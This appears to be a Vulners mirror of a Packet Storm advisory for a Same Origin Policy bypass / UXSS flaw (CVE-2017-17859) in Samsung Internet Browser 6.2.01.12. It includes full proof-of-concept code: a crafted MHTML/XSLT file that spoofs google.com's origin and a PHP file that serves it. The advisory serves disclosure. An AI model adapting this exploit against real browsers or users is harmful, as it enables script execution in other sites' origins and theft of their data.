Lucene search
K

Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS

🗓️ 25 Dec 2017 00:00:00Reported by James LeeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

Samsung Internet Browser SOP Bypass/UXSS vulnerability via MHTML and XSL

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS Vulnerabilities
3 Jan 201800:00
zdt
ATTACKERKB
CVE-2017-17859
27 Dec 201717:08
attackerkb
CNVD
Samsung Internet Browser Cross-Site Scripting Vulnerability
29 Dec 201700:00
cnvd
CVE
CVE-2017-17859
24 Dec 201707:00
cve
Cvelist
CVE-2017-17859
24 Dec 201707:00
cvelist
EUVD
EUVD-2017-9006
7 Oct 202500:30
euvd
NVD
CVE-2017-17859
27 Dec 201717:08
nvd
OSV
CVE-2017-17859
27 Dec 201717:08
osv
Prion
Design/Logic Flaw
27 Dec 201717:08
prion
`From: https://poctestblog.blogspot.co.uk/2017/12/samsung-internet-browser-sop-bypassuxss.html  
  
  
  
Samsung Internet Browser SOP Bypass/UXSS  
  
There is a Same Origin Policy bypass / Universal Cross Site Scripting issue in Samsung Internet Browser (tested on latest version - 6.2.01.12).  
  
First of all, using the combination of MHTML and XSLT ends up resulting in a weird interaction. When you create an empty Iframe via MHTML and give a normal header and combine MHTML with XSLT, the browser renders them and confuse as its origin is from a pre-instantiated empty iframe. I hosted a quick Proof-Of-Concept page to test this vulnerability, please have a test on latest Samsung Internet browser (version - 6.2.01.12).  
  
http://prooftestdomain.hol.es/test/test.php  
  
I attached a POC image below to show that Samsung Internet Browser says its origin is https://google.com and document.domain returns https://google.com while in reality we are in my test host domain.  
  
Following is Proof Of Concept code, you need to upload .mht and .php file. When you visit .php file the exploit runs successfully and bypasses Same Origin Policy to achieve UXSS.  
  
test.mht file content:  
  
MIME-Version: 1.0  
Content-Type: multipart/related;  
type="text/html";  
boundary="----MultipartBoundary--"  
  
------MultipartBoundary--  
Content-Type: application/xml;  
  
<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet type="text/xml" href="#stylesheet"?>  
<!DOCTYPE catalog [  
<!ATTLIST xsl:stylesheet  
id ID #REQUIRED>  
]>  
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="*">  
<html><iframe style="display:none" src="https://google.com"></iframe></html>  
</xsl:template>  
</xsl:stylesheet>  
  
------MultipartBoundary--  
Content-Type: text/html  
Content-Location: https://google.com  
  
<script>alert('lol \n\n' + 'document.domain: \n' + document.domain)</script>  
------MultipartBoundary----  
  
  
  
  
  
test.php file content:  
  
<?php  
$filename=realpath("test.mht");  
header( "Content-type: multipart/related");  
readfile($filename);  
?>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation